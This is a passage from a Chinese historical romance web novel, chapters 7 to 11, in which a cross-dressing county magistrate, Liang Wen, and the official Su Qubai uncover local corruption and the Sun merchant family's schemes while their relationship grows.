陈虎没动,反倒抬眼看他:“主子,我不明白。” “什么?” 陈虎道出心中疑惑:“当初丰泽县县令被查,您为何不趁机将咱们的人安插进来,反倒是拉了一个毫不相干的人进来,万一他有问题?” 苏瞿白叹了口气,目光古怪的看着他:“有时间,好好跟追风学学。” 陈虎不说话了,拱手后翻窗走人。 苏瞿白放下长刀,默了许久,嘴角擒出笑意。 不相干好啊,谁知道想干的人心里到底是怎么打算的呢。 谁管她相不相干,有把柄,有弱点,有顾及,焉能不是一把好刀。 苏瞿白刚将长刀放回刀鞘,就见陈虎又翻了回来,窗扉被开了个缝,圆溜溜的脑袋卡进来,脸上带着憨笑:“主子,今天我瞧你在县衙外看那个县令办案来着,是不是当时就起了利用的心思。” 还没等苏瞿白如何,他便接着道:“别的不说,那县令脸长的忒好看了,就是身子太瘦,不壮硕。瞧着跟个小鸡崽子似的,哪天我帮你练练他。我虽然脑子不行,但这身手还是拿的出手的,省的那小子……”日后拖了您的后腿。 话还没说完,苏瞿白将手中的棉布朝他扔去:“还不滚。” 陈虎一把接过,揣进自己怀中:“这就滚,这就滚。” 那个圆溜溜的脑袋抽出,屋内安静下来。 苏瞿白蓦然一笑,小鸡崽子,她听到了会炸吧。 眼睛一转看到窗纸上留下的小孔,笑意戛然而止。 月上中天,投下一地清辉。 梁温额角沁着汗,眉头蹙得紧,浑身颤抖,手一紧,反倒从梦魇中醒来。 她平摊在床上,平复着呼吸,眼神却有着空洞。 梦里总有一个七八岁的孩童,温顺的习字读书,不爱说话,恭敬长辈,一日复一日的重复着单调的生活。 面容瞧不清晰,不哭不闹,除了温习功课之外最爱坐在窗边发呆。 梁温突然有点好奇,想知道她总在窗边看什么。 但她动不了,身体被紧紧禁锢着。 梦到最后,所有化作一片白茫茫,那个孩童背着她越走越远,身量也越来越高挺,身边却出现了各种毒蛇猛兽扑向她。身影越来越模糊,刺目的红却流了一路。 就在她冷眼旁观时,那个身影却蓦然转过头来,白茫茫褪去,露出全貌,嘴角勾出温和的笑。 脚步却从未停止,直至被毒蛇猛兽吞没。 她神情大骇,想朝着那道身影跑去,却被箍在原地,眼睁睁看着蜿蜒的血流了长长一路。 怪诞的梦,梁温被魇住了。 那个身影,她认出来了——梁温,身体的原主。 她梦到原主了,并通过这个梦偷窥到了这个身体的一部分记忆。 她的生活真的很无趣,人也呆板。 身边总是一个人,后来身边又多了一个,是幼年的元宝。 碎片化的记忆没能让她窥到全貌,只是梦醒后胸口有些郁气。 她缓了缓,坐起身来,光洁的脚踩在冰凉的实木地板上,迟钝的坐在窗边的软榻上,眼前只有一棵开出嫩芽的桃树。 她当时在看什么,梁温想不出来。 天还黑着,梁温却没了困意,意兴阑珊的回了桌案,从那一摞书籍里挑了一本出来,又摆上草纸,一点点临摹起来。 胸口的郁气随之疏散,日光也攀爬上案头,今日不需当值,她倒是闲了下来。 她估量着时辰,将练字的那一沓纸折起来放在了书籍下面,才放好就听见门外元宝的声音响起:“郎主,您起了吗?” “嗯,你进来吧。” 元宝端着铜盆进来,为她洇湿了帕子。 梁温不会束发,只能散落着头发去净了面,随后等着元宝上手。 刚开始元宝也很诧异:“郎主从小到大凡事都要自行料理,从不让奴近身。” 梁温只能寻了借口:“胸口受了伤,抬手会扯到。”< 7. 猜忌交锋 《她也不想欺君》全本免费阅读 元宝端着粥候在廊下:“郎主,粥好了。” 苏瞿白颇为自觉的藏到那个角落,梁温这才开门接过:“在院外守着。” 等门阖上,苏瞿白这才显露了身形,他斜倚在扇门上,下颌微扬:“给我的?” 梁温直接递过去:“喝。” 苏瞿白接过,坐在实木凳上,用瓷勺舀了一口送到唇边,随口道:“肉丝有点柴了。” 梁温见他一副挑剔模样,直接背过身去。 应该饿死他的。 “吃完就回你屋里待着去。”梁温不再管她,俯身坐在案前练自己的字。 大抵是字体真的很繁杂,梁温眉目间有些烦躁。 苏瞿白享用着粥,默不作声。 屋内一时静了下来,还真有几分融洽的样子。 等他用完时,梁温已经完全沉浸其中,连苏瞿白走到她身后都没察觉。 正静时,苏瞿白突然抬手捏住笔柄:“错了,运笔错了。” 梁温这才偏头,入了他直勾勾的眸子。 苏瞿白摆弄着她的指头,随后虚虚握住,在纸上行云流水的写下他们两个的名字。 梁温低头看着,随后用手肘向后击,嘴里的话像是含着冰吐出的:“你靠的太近了。” 一股子惑人的香气,不知是哪里染上的。 苏瞿白猛地捂住胸口,长嘶一声:“梁娘子下手忒狠了点吧,我可还有伤在身呢。” 梁温冷言:“我倒觉得你胸口没伤,反倒是要去医馆瞧瞧脑子。” 苏瞿白也不反驳,只从她桌案上抽了话本子,半躺在窗边的软榻上,自顾自的翻看起来。 梁温看他良久,这才低头看那并列在一起的两个名字。 莫名不顺眼。 许是看了太久,悬在纸张上的笔头积蓄的浓墨滴落在两个名字中间。 更不顺眼了。 她不知起了什么心思,手腕一转,两个名字被浓墨吞没,成了一道黑色的痕迹。 苏瞿白余光里注视着,瞧见她幼稚的行为眼里露出笑意。 他幽幽开口:“梁娘子,别在上面描了,墨迹都透到纸下了。” 梁温放下笔,指尖捏住最上层的纸往上挑,果不其然在下面的纸张上见到了星星点点的墨迹。 他好烦。 梁温起身走至榻前,从他手里抽出那话本:“我的。” 苏瞿白先是一愣,随后不可自持的闷笑出声:“对对,你的,都是你的。” 梁温想将手里的话本子扔他脸上,或者用手指在他伤口处狠狠地按,叫他好好痛上一番。 她无视他的笑,低头看了眼书中的内容,只有寥寥几个字,入目确是一幅画面,交/缠的身影,凌乱的衣袍,还有惑人的媚/态。 她持书的手一紧,“苏少卿还真是好兴致。” 苏瞿白收敛了笑:“还好,毕竟这是梁娘子的书。” 梁温难得沉默了,这书确实是从她桌案拿出的,但她确实也没见过,应是元宝搬书时弄错了。 苏瞿白也没在说什么,起身从她手里将那个满是春色的话本子拿过阖上:“梁娘子不接着练字了吗?” 还没等她说什么,他便接着问:“其实我有点好奇,梁娘子虽说当年科举时买通了官员放行,但所考成绩却做不得假。怎么如今瞧着,不但字迹走形了,连字都认不得几个了?” 他的目光裹挟着犀利:“如果我没记错,梁娘子当时遇袭是被人捅了心窝,而不是撞坏了脑袋。” 梁温倒也不慌,抬手抚着头:“落地时头撞在地上,正好磕在一小块石头上。” 她没说谎,当时醒来后后脑确实很痛,没磕破流血,但是肿胀起来,后来也找姜岳衡看了看。 苏瞿白看她清亮的眸子,红唇一勾:“是吗?” 梁温的目光撞回去:“不然呢?” 两人一来一往对峙着,兵不刃血的交锋,谁也没讨到好处,但是谁也没被刺伤。 紧张的气氛又平和下来,因着是白日,窗扇并未开着,但日光也从薄薄的窗纸上透过,被削弱几分的日光描摹着他们的轮廓,渡上一层柔和的亮光。 苏瞿白动身坐在桌案旁,拿起笔蘸墨,行云流水的在纸上书写着。 梁温凑近,他的字落拓雅致,尾端却又见锋,就如同他的人一般,矛盾。 但又说不上的好看。 怪不得都说字如其人。 他接连写了七八张,随后把位置让出来,将她按在椅子里,为她放好笔:“就照我写的临摹。” 梁温认了认,却没识出几个字,但还是规规矩矩的临摹起来。 线条有些抖,落在纸上与他的字迹一对比,更像是蚂蚁乱爬。 苏瞿白倒是没撒手不管,见她临摹完一字便教她辨认一字。 这样下来倒是快。 廊下有轻微的脚步声,苏瞿白敛了声音朝她示意,梁温起身移步去了门口将门推开一条小缝,正见元宝右手停滞在半空,左手的端盘里放着两碗汤药。 元宝有些发愣,随即反应过来:“郎主,姜大夫让奴来给您送药。姜大夫说左边那碗和以前一样,右边那碗是新添的温养的补药。” 梁温将门的缝隙开大,却也正好遮掩住元宝的视线:“姜叔人呢?” 元宝如实回答:“好像是老夫人近期食欲不振,叫姜大夫前去瞧两眼,开个方子。” 梁温接过端盘:“等他回来,你找他来一趟。” “是。”元宝应声退下。 梁温将药放在桌案上,将属于自己的那碗一口饮尽,苦涩久久不散,她是真不喜欢。 苏瞿白见她饮完左边那一碗后又练字去,便懂了另外一碗是给他的,端起来送至唇边,久久没下口,最后还是放下。 梁温看在眼里,也不练字了,斜倚在椅子上:“苏少卿怎么不喝?” “我受的是外伤,外敷伤药即可。”苏瞿白不看她,指尖却将药碗推远了些。 药味儿弥散的很快,屋子里满是苦涩。 梁温也受不了这苦味儿,但见他吃瘪又觉得有趣:“苏少卿是怕苦吗?” 苏瞿白狭长的眸子偏开:“只是觉得没有必要。” 梁温却不饶他:“伤病之人还是谨遵医嘱的好。再说,苏少卿连死都不怕,还怕这一碗小小的汤药。” 好大一顶高帽子。 苏瞿白盯她 8. 百花楼宴 《她也不想欺君》全本免费阅读 元宝送来午膳时,将屋里的空碗带走了,并送来一封拜帖。 梁温看到上面的孙府二字连看都没看,直接扔给苏瞿白。 “他们还真是按耐不住啊。”梁温还以为他们会过一阵子才联系她。 “正常,入幽州的路一日没通,他们就受限一天。”苏瞿白将拜帖打开看了眼,冠冕堂皇的话一大堆,视线落在某处,挪谕道:“梁娘子艳福不浅。” “什么?”梁温有一瞬不解。 待从他手里拿过拜帖一看,冷哼一声:“还挺明目张胆。” 苏瞿白落座,用木筷夹了一块肉:“百花楼,丰泽县最大的青楼,听闻那里的娘子个个貌美,随便挑一个出来都能毫不吝啬的夸上一句好颜色。” “这福气给你要不要?”梁温反问。 “唉,我可无福消受。”苏瞿白放下筷子,脸色难得有些郑重:“今晚,你要小心,百花楼暗地里是孙家的产业。” “怪不得。”梁温也落座,将那封拜帖扔在一旁。 青楼这种地方鱼龙混杂,向来是收集消息的重要渠道。美人骨,吸神魂,但凡嘴上没个把门的,一不小心便吐露出个重要消息,便是后悔都没地方哭去。 梁温没问苏瞿白的打算,她只需要保证完成自己的任务。 等用完了午膳,苏瞿白便翻窗走人了,梁温没管他去哪,只是将关了一上午的窗子打开了。 日光携着缕缕春风而入,她这个院子空荡的毫无人气。 平日里的洒扫仆人会在天未亮时入院,天一亮便要走人,而她身边便只有一个元宝伺候着,院子便冷清的很。 倒也还好,梁温也不是个多喜欢热闹的人。 午间的日头足,照的她昏昏欲睡,随便挑了本书,斜倚在软榻上,没翻看两页便从手中脱落在地,她睡着了。 昨晚魇了半宿,细细瞧去眼底倒真有些青黑。这一觉倒是睡的沉,直到日落西山,橘红的晚霞布满了天际才被元宝叫醒。 “郎主,孙家来人请您了。”元宝叫了好几声,见没人应声这才推门而入,叫醒了软榻上的梁温。 梁温还有些发倦,挥退了元宝,等换好了一身绛红翻领胡服才将人唤进来束发。 戴上幞头,又理了理衣襟,这才出门。 元宝自发跟上,梁温想了一下也没将他留在府里,毕竟独身一人出门,她那位祖母又该忧心了。 孙府的小厮一身灰色短袍,料子瞧着还不错,神情说不上恭敬,甚至能在眼中看出倨傲,走在梁温边上为她引路。 等登上了孙府备好的马车,那个小厮坐在外面驾马。 马车稍显奢华,木料成色极好还透着幽香,嵌着金银花样。内里空间足,摆放着四方小桌,桌上有现成的糕点茶水。 天色昏暗起来,街边的商贩也点起了灯烛,街上行人来来往往。梁温还没出过府门,对这等营生存了两分新奇,但也只是多看了两眼。 幽州地处边界,与外有贸易往来,而丰泽县又处于幽州边缘,随眼可见异族商人。 幽州与别的地界还不太一样,这里早些年间便取消了宵禁,因此夜间也热闹,随处可见走街串巷的百姓。 夜幕挂着繁星,一轮弯月高悬,几人的影子投在地上,随意变换着。 她观察着,走走停停间也到了百花楼前。 下了马车,入目便是灯火通明的楼阁。 楼前有几个穿的花枝招展的小娘子,身上沾着浓厚的脂粉香,迎来送往。 孙家那个小厮站在门外没在动身,几个小娘子倒是瞧见她,迎了上来。 “这是打哪来的郎君啊?俊俏的很。” “呦,小郎君进来坐坐呗,姐姐请你喝花酒。”说罢,几人笑得花枝乱颤。 “瞧瞧,这小脸比咱们的嫩多了。”一只染了红的柔荑朝她脸伸来,被梁温一把扼住,甩向一旁,她可不是什么怜香惜玉的人。 那人被甩的生疼,咿呦哎呀的叫起来,但说的话却跟含了蜜一般甜腻腻的:“这小郎君,忒狠心了,姐姐的手腕都红了。” “你们家主子呢?”梁温朝着那个小厮道。 没等他回话,楼里出来一个年岁稍大,发间簪花的妇人。梁温见她眼角生了细纹,行走间抬腰扭胯,好一派风情模样,便猜出她的身份——百花楼老鸨。 “郎君,楼里请吧,有人等着你呢。”她没多言,只是暗中瞪了那几个小娘子一眼,吓得她们不敢噤声。 梁温随她去了三楼,那里都是关严实的单间,隐私性强,元宝则是留在了楼外守着。 “贵人来了。”那老鸨贴在门上,笑着开口。 门被打开,留着一截胡须的男人走出,肚子赘着肉,行走间一晃一晃的。十个指头戴满了各式各样的戒指,金的,玉的……好生晃眼。 他一双眼睛笑得只剩一条缝:“你先下去吧,给我们上几个懂情调的小娘子来。” 梁温眼神一转,落在他脸上。 上几个,他当点菜呢。 “贵人进来吧,屋内备好了好酒好菜,就等着您来了。”他微弯着腰,笑得一脸谄媚样。 “你是?”梁温坐在他对面。 他大鼻子小眼聚在一起:“鄙人孙有财,是孙家主君的亲弟弟。孙家您应该知道吧,皇商世家。” “原来是孙家,真是百闻不如一见,瞧着孙郎君身上这等气度,还真是别人比不了的。”梁温逢场作戏。 可能是孙有财真没什么自知之明,毫不谦虚的应下:“孙家家风向来严苛,家中长辈也时刻教导要每日自省己身。” 梁温觉得有趣,端起面前的茶杯轻呷了一口,遮掩住唇边的笑意。 瞧着是个拎不清的,但是孙家能把他派出来交涉,又怎么可能如表面这般无害蠢钝,真是越来越有意思了。 屋外进来一位琵琶女,温顺的跪坐在帘子后面的软垫上,指尖倾泻着泠泠的乐曲,甚是动听。 孙有财提着酒壶,给她倒了一杯,送到她面前:“梁明府,您尝尝,这酒酿了好几年,口感当属上品。” 明府……连县令都免了,直接跳到更显亲密的明府,他们很熟吗? 梁温推拒:“不了,身上还有伤,喝不了。” 孙有财一拍脑门,满是懊恼:“是了,瞧我这记性,前些日子明府遇袭被人捅了心窝,险些没救 9. 过河拆桥 《她也不想欺君》全本免费阅读 回去的路上,元宝一直偷偷看她,梁温见他犹犹豫豫便问:“你老盯着我看什么?” 元宝下意识否认,随后吭吭哧哧的又说:“郎主,您怎么……怎么来这种烟花柳巷之地了,万一……万一让老夫人知晓,怎么办啊。” “无事,老夫人找你问罪,你就实话实说便是。”梁温倒是觉得梁老夫人不会过问,她突然想起什么,招手示意元宝凑近:“元宝,我当初有没有和你说过,我为什么会主动提及到丰泽县任职?” 元宝却像是惊住了一般,两只眼睛瞪的滴溜圆,低着声音:“郎主,您问这个干嘛?” 梁温见他这反应:“我和你说过。” 元宝纠结半天:“您高中那天吃酒吃醉了,我听您胡言过两句。” “我说了什么?” 元宝学着她当时的语气:“您说,我这一辈子何时才能为自己活一次。丰泽县啊,是个好地方啊,可惜……可惜了。” 梁温垂眸:“还有吗?” 元宝摇头:“没有了,但是我瞧见郎主您哭了,长这么大,我第一次瞧见您落泪。” 他又道:“我问您哭什么,您却只是吃酒,吃到酩酊大醉,后来被老夫人遣人接回来的。” 元宝讪讪的缩着身子:“郎主,我有些话不知道该说不该说。” 梁温看向他:“你说?” “主君当年便是在丰泽县没的。” 一时间,无数念想在她脑海中闪过。 梁温脑袋一阵白光闪过,随之而来的便是撕裂般的阵痛,无数个声音,无数个场景疯狂砸向她,胸口的伤口隐隐作痛,双手攥拳,手背青筋暴起。喘不上气,脸色潮红,浑身颤抖冒汗。 痛,太痛了。 梁温这辈子都忘不了现在这般撕心裂肺的痛,她被迫承受着不属于她的一切,阻止不了,只能照单全收。 她恍恍抬眼,一滴泪夺眶而出,眼中满是痛楚。 眼前恍惚,梁温最后的意识便是元宝惊慌的脸。 太痛了。 元宝哭喊着出了车厢,叫那个小厮快一点驾车,随即又进了车厢,一声又一声的叫着梁温。 原本就一直跟着的苏瞿白闪身到了马车上,一撩车帘,就见梁温昏迷倒在里面。 他对着心急如焚的元宝道:“守好你家主子。” 随即出了车厢,看着那个无动于衷还慢悠悠驾车的小厮一眼,怒气上涌,直接一脚将他踹下去。扯过缰绳,自己架起车来。 街道上行人不多,商贩也渐渐收摊,马车骤然飞过也没造成什么伤人事件,安安稳稳的回到了县衙内院。 苏瞿白勒住缰绳,转身进了车厢将梁温打横抱起,跳下车往府里跑去,元宝哼哧哼哧的跟在后面,让守门的仆人将马车停住,又吩咐值守的仆人去叫姜岳衡。 他刻意嘱咐下去别多声张,将消息封锁住了,没让老夫人知晓。 苏瞿白一路跑到她院中,踹开扇门,将她放在床榻上。坐在她旁边,这才看清她眉头蹙的生紧,浑身颤抖着。 他伸手,指腹在她眉宇间轻轻的抚平。 姜岳衡是被元宝一路生拉硬拽来的,一只脚上穿着鞋子,另一只脚上的鞋子在元宝手里。 姜岳衡一见梁温躺在床榻上不知人事也顾不上整理仪态,连忙上前为她检查。 长舒一口气,放下心来:“郎主没事,只是睡着了。” 元宝哪里信:“郎主说她痛,怎么可能是睡着了,她分明是昏过去了。” 姜岳衡耸鼻子瞪眼,从他手里夺回自己的鞋子弯腰穿上:“你是大夫我是大夫?我能看不出一个人到底是睡着了还是昏迷了。你这是在质疑我的医术。” 说完气不过,又哼了一声。 苏瞿白伸手探了探梁温额间的温度,又觉他们吵闹,脸色一沉,眉头一皱,便是一副凶相:“滚出去吵。” 他这一出声,元宝才想起来不知道哪来的大活人,还没开口问,便被姜岳衡拉出门外。 “那个人是谁啊,我怎么没见过?”元宝透着忧色。 姜岳衡捂嘴张哈,眼角泛起泪花:“别管了,你郎主的人。” 郎主的人……元宝蓦然瞪大了眼睛,捂着嘴。 那就是好人,元宝立刻放心了。 天将破晓之际,梁温才醒来,掌心带着温热的触感,她偏头便见苏瞿白坐在她床侧浅眠,棱骨分明的手轻握着她的指尖。 梁温一挣,他便醒了。 他又握住她逃走的手,梁温再挣没挣过。 “哪疼?”他低声问。 梁温摇头:“不疼。” 他又道:“身子骨那样弱。” 梁温偏头:“自是比不上你。” 苏瞿白闷笑起来:“还能与我拌嘴,看来是没事了。” “本就没事。”梁温声音低低的,还有些哑。 梁温的指尖跟烫到了一般,微微蜷起,却忘了还被他攥在手中,指尖划过温热的掌心,带来酥麻的痒意。 她抬眼直言:“手还要握多久?” 苏瞿白握的更紧,装模作样的摸到腕内的脉搏:“嗯,自脉象来看,确实无事。” 梁温差点被他的厚颜无耻逗笑:“倒是我眼拙,没瞧出苏少卿还有医者的天分。” “嗯,那下次多看两眼。”他接的自然,梁温不说话了。 苏瞿白却来劲了:“怎么不说了?” 梁温又一挣,这次却轻松的将手挣出:“说不过你,说什么?” “那就说点正事。”苏瞿白将屋内的窗子打开,初升的圆日映红了天际。 梁温坐起身来,还是昨夜的绛红色翻领胡服,沾染着一夜未消的脂粉香,真是难闻。 说起正事,梁温正好有事要问:“我来丰泽县上任是不是挡了他们的路?” “是,丰泽县上任县令被判处后,幽州节度使已经准备好了安插他的人上任,却被你横插一脚。”他语气肯定。 “为什么不早说?”梁温紧了手。 “知道的多没好处。”苏瞿白也直接,“梁温,我不会害你。” 梁温看不透眼前这个人,看不透他到底是个好人还是坏人。 她不是多聪明的一个人,但也不想当蒙在鼓里的傻子,任人愚弄。 “你最好别骗我。”梁温不再追问,“我最讨厌别人的欺骗。” 苏瞿白黑沉沉的眸子一凛,认真道:“我绝不骗你。” 梁温没在顾其他,利落起身去了桌案旁,废了好些功 10. 肃清县衙 《她也不想欺君》全本免费阅读 窗子关的严实,一道屏风隔绝了视线。 擦的锃亮的实木地板放置了半人高的浴桶,袅袅热气升腾消散,在有限的空间翻滚着,终成了白茫茫一片。 梁温用手试了下水温,这才褪去身上的衣袍扔在屏风上,雪白色的里衣离身,才显露出梁温脖颈上系着的白玉坠,正面雕刻着竹节,背面则是刻着岁岁平安四字。一根镶金丝的黑棉绳穿着,安安稳稳在她脖颈上挂了十多年。 解下身上裹得严实的白布条,胸口的束缚感骤然消失,一身冰肌玉骨才袒露出来。梁温肤色如霜般白,身上的肌肤更是常年被裹得紧实,不见天日。 入了水,便更显清透。 发尾被洇湿,睫羽与眉头蓄了水雾,脖颈间时常有水珠流过。左肩往下几分的起伏处有一条透着肉粉色的新痂,还没完全脱落。 她纤细的双臂搭在浴桶边上,整个人舒展开来,疲倦被疏散,眉眼间留下几分慵懒。 梁温闭目,回想着昨夜梦到的一切。很细碎的片段,没头没尾的,大多是原身小时候的事。 她如同一个看客,无悲无喜。 她又觉不痛快,要么就痛痛快快的将记忆给她,要么就不要让她触及到一点。这钝刀子割肉,着实磨人。 她睁开眼,一片清正之色。 要尽早解决完眼前的事了,盲点越来越多,这让她很是不安。 梁温思索着,将开刀人定在了马县丞身上,他说的对,这样一个人就应该尽早处理掉,若是往后在出来蹦哒,坏了什么事可不好玩。 她起身,水声哗然,迸溅的水珠落在地上,洇湿了一片。 抽过旁边的棉布擦拭着身子的水渍,泡的发粉的身子又被严实的裹起来,一层又一层。 梁温未穿鞋袜,腕骨处有明晃晃的红痣在衣袍下若隐若现,透着粉的脚掌踩在冰凉的实木地板上,残存的水珠被分裂成无数个。 等她忙完,才唤元宝进屋来为她束发。 元宝在弯腰收拾,梁温才执笔便顿住,随后叫住要退下的元宝。 “元宝,过来为我代笔。” 元宝将手中的木桶放在门外,随后跪坐在小案边,认真的写下梁温所说的话。 等元宝写完,梁温又拿过通读一番,元宝虽只是儿时伴读,但这字迹工整清晰,比她的强上太多。 她装进信封,又递还给元宝:“你找个乞儿到百花楼走一趟,将这个交给老鸨。” 元宝接过退出。 梁温起身去了书房,书房东侧的架子上放着一摞她调来的县衙账簿开支,她取下放在桌案上,一页一页细致翻看起来,遇到账目不对的地方则是执笔记录。 日头西斜,元宝悄声走进将蜡烛点燃,幽幽火光下,梁温放下笔,揉了揉酸痛的手腕。 这账目,简直不堪入目。 这县衙简直就是个筛子,形形色色的人都被筛进来了,集结了各路奇人。 就拿上月的账目来说,上衙官员的早膳居然也入了公账,荒唐至极,这俸禄都喂了狗吗? 不过除了马县丞手脚太过不干净,其他人倒是只贪了些无关大雅的小便宜,至于那些人留不留,她还要再看看。 梁温这边查着账目,百花楼那边也没闲着。 孙有财才登百花楼的门就被老鸨堵住了,等进了无人的厢房,老鸨放下手中的锦簇团扇,从袖口中取出一封信来:“这是乞儿送来的,吵吵嚷嚷着要给我,我一琢磨,准时要通过我给您递信儿。” 孙有财拆开信封,逐字看去,随后走到窗边的烛火处,将信封烧干净。 老鸨轻抚着发:“二当家,这是谁送来的?” “还能是谁?当然是新上任的梁县令,他心可真野,除了张家树立了威信还不够,如今还想我出力帮他料理了马县丞。”孙有财用脚碾了碾落在地上的飞灰,脚尖沾了不显眼的灰。 老鸨站起身凑近他:“这确是个有野心的,马县丞虽然不是咱们的人,但也通过张家与他们有了点往来。” 孙有财脸上横肉堆积:“那又怎样,他想要,咱们就给他。咱们这位县令是聪明人,不会干蠢事的。” 孙有财领着老鸨入了顶层,将一些信件往来和一份名单取出递给她:“趁着夜色,遣人将这些送到刺史手上。” 幽州刺史徐光启那是出了名的清正不阿,凡是他经手的案件,没有任何人能有徇私舞弊的机会。 老顽固一个,最适合处理这些个臭鱼烂虾。 “是,我瞧着那个来送信的乞儿就很不错。”老鸨笑意盈盈,她收到来信时便让人将那个乞儿关了起来,就扔在后院的柴火房里。 “就他。”孙有财还有别的事,交代清楚后便从后门上了马车,一路向外驶去。 竖日,梁温早早就起了身,换上一身官服去了衙上。 时辰还早,尚未到县衙上衙之时。梁温候在大堂,视线正对着堂外。 一个身量瘦弱的衙役来了,见到梁温后便候在她身边,梁温对他有些印象,那日公堂上为她递话和呈送证据,看着还算沉稳。 梁温又等了一会儿,却再未见无旁的身影,她偏头问他:“你叫什么?” “张良。”他低声。 梁温记住,在问:“距离上衙的时辰还差多少?” 张良看了看天色:“差不多了。” 梁温指向县衙外的堂鼓:“那就去把堂鼓敲了。” 张良走出大堂,拿起鼓槌,一下有一下敲击着皮制的鼓面。 有几个凑的近,一听见这声便快了步子,却被梁温叫住晾在一旁。 剩下的人来的陆陆续续,见到她后也被拦住晾在一旁。 县尉和主薄来的更晚一些,但他们是上衙途中去了一趟突然倒塌的石桥,已经派人来告知。 一声长喝伴着马蹄落地,挂刀着细鳞的黑袍男子高坐马上,梁温携众人而出。 那人从怀里掏出刺史腰牌,面向梁温道:“徐刺史昨夜接到检举揭发,有人状告马县丞,兹事体大,现以派人押走调查,刺史特意让我来告知县令一番。” 梁温拱手:“劳刺史费心。” 他收起腰牌,勒住缰绳:“刺史留话,县令刚上任, 11. 前路殊途 《她也不想欺君》全本免费阅读 苏瞿白沐浴完后,打开柜子看到了里面摆放整齐的衣袍,选了一身换上。 苏瞿白推门而出,院子里依旧无人,元宝应该也被她调去了院外。 他在廊下倚靠着凭栏,斜眼看去便与探出窗外的梁温对上了目光。 午后的日光足,斜斜穿透廊下,探到她的脸上,许是有些晃眼,她轻倚着窗的同时还伸出一只手懒散的佯挡,她眼尾偏挑,眼波流转间睫尾轻颤好似蝴蝶尾翼飘转。 苏瞿白摩挲着腰间的革带,不自觉的盯着她看,他未束发,发尾湿漉漉的披散着,偶有水滴坠在脖颈间,顺着皮肤隐入衣领。 梁温早就看见他了,但她没理会,难得今日的阳光足还不晒,就这么舒舒服服的待一会儿,感觉浑身都松软下来。 两人倚窗凭栏,携着暖意的风拂过,发梢的碎发吹得来回晃动,苏瞿白洇湿的发终是干了。 梁温晒了好一会儿才将视线移向他:“苏瞿白,你站够了没有。” 苏瞿白……他唇齿间默默呢喃着,这还是她第一次唤他的名。 少了女子的温声软语,明明就是规矩的一声叫唤,怎么从她口中道出,便这般好听。 梁温没等他回话,径自挺直腰板收回身子。 苏瞿白再望去时,只有几分细碎的剪影还能瞧见。 他动身去了窗子旁,从革带上取下一柄镶了宝石嵌着银丝的巴掌大小的匕首放在窗沿,光线映照下熠熠生辉。 梁温被吸引了视线,纤细的手拿起匕首把玩:“给我的?” “嗯,拿来给你防身。你不通武艺,又时刻危险缠身,这个精致小巧一些,拿来给你防身正好。” 梁温将匕首从鞘中拔出,利刃泛着冷光,刀身只有一掌长。 指腹轻轻划过刀刃,刃尖锋利,割破了她指腹的皮,并未见血。 梁温有点喜欢这个精致小巧却又危险的东西:“刀刃真利,谢谢。” 苏瞿白见她喜欢便也跟着勾唇:“时间太急,只能找到这个。刀鞘花里胡哨的,等闲下来,我给你找一把更好的。” 梁温将利刃归鞘,细细品鉴着:“不用,这个就很好,别的我还不一定喜欢。” 还挺好满足。 苏瞿白看她袖口处的皓白手腕内侧有颗不显眼的红痣,抬眼落在她脖颈锁骨微突处,那里也有一颗红痣。 真多啊,这还只是能看见的。 梁温将匕首收进袖中,跟他说起正事:“军饷被盗案一事,加快进程吧,我不想再拖了。” “嗯,孙家主君已经秘密赶往幽州了,不出我所料,过两日便会找你。剩下的,会很快的。”苏瞿白侧过身,整个人暴露在阳光下,他伸手揪了那棵野桃树新长出来的嫩叶,语气沉沉的。 梁温沉默一会儿,才将心中猜想道出:“嗯,我总感觉有人在帮我。” “嗯?”苏瞿白这倒是不知。 梁温自己也不清楚,但心里却总觉得漏掉了什么:“许是进展太顺,我猜错了也不一定。” “多想一步总是好的。”苏瞿白依旧背对着她:“梁温,如果有一日你真的遇上危险,别迟疑,先救自己。” 梁温闻言嗤笑一声:“既然我入了这个局,就注定群狼环伺,怎么可能没有危险缠身。” 她不想晒太阳了,起风了,吹得她眼睛疼。 她将窗子阖上,苏瞿白却还站在原地。 是真的起风了,他披散的头发被吹得乱作一团,苏瞿白扔掉指尖被蹂躏许久的嫩叶,有着一层薄薄的茧的指腹沾上了绿色的汁液。 他捻了捻,有点黏。 不应该拉她入局的,但他不拉,她也得入,身处其中,迫不得已。 梁温推了晚膳,坐在桌案旁一遍又一遍练着枯燥乏味的字迹。这么久过去,她临摹的还是苏瞿白给她写下的那些字。 熟能生巧,她练了这么长时间,字迹也不能说是蚂蚁乱爬了,只是每个笔画落下时都很抖,颤颤巍巍的,也称不上好看。 嘎吱一声,梁温以为是元宝来点烛了,就没太在意,半晌过去没有动静才停笔望去,来人是苏瞿白。 梁温将刚练好的字放到一旁:“找我有事?” 他凑近,拾起一张来:“没事就不能找你吗?” 随后又道:“有进步,等过两日我再给你写些新的,你照着临摹也不单调。” 梁温将笔尖蘸墨递给他:“干嘛过两日,我看你现在就挺闲,这里纸笔皆有,不如现下就写了。” 苏瞿白接过却没落笔,而是将笔直接放下。 “现在有事。”他睫毛投下剪影。 “何事?”梁温安静端坐着等着他说。 “幽州民风淳朴,市井贸易繁荣,晚上很是热闹,梁县令不想去与民同乐吗?” 梁温没动,他叹口气:“整日闷在这县衙内院,人都憋傻了。出去换换气也是好的,别成天跟个老顽固一样,只会无趣的闷在书房。” 梁温还没动,苏瞿白改变策略:“走吧,市集角落里开了一家包子铺,我尝过味道不错,今日我请你。” 梁温嗯了一声,将桌案上的书本摆放齐整,才随苏瞿白出了门。 落日的余晖完全消散,街上各户门前点了灯笼,行人不减反增,街边支着许多小桌,香气扑鼻而来。 梁温还真饿了。 两人缓步走过繁华热闹的市井,最尾端的街角处开了一家不太显眼的包子铺,一根竹竿上挂了块破布,上面写的符记包子四字倒是洒脱飘逸。 这家铺子与别的不同,摊子铺的小,店面也不显眼,烛火格外昏暗,实在算不上一个好地方。 苏瞿白在一张小桌上落座,张口便要了两屉肉包子。 梁温也不在意,坐在他对面,看着铺子老板利落的给他们拿了两屉包子。 那铺子老板上了年岁,混浊的眼睛却带着笑,黄黑的脸上浮出一道道的褶。 待他走近时,梁温注意到了他的腿,没多看便收回视线。 他一瘸一拐的走着,昏暗的烛火下才看清来人样貌,激动的眼角泛起泪光:“梁县令,是您啊?” 梁温看他皲裂的手指被烫红,伸手接过蒸屉放在桌上:“您识得我?” 她不常出府门,除了处理公务基本不见旁人,丰泽县大多数平民百姓都只知县上的新任县令姓梁,但不见其人。 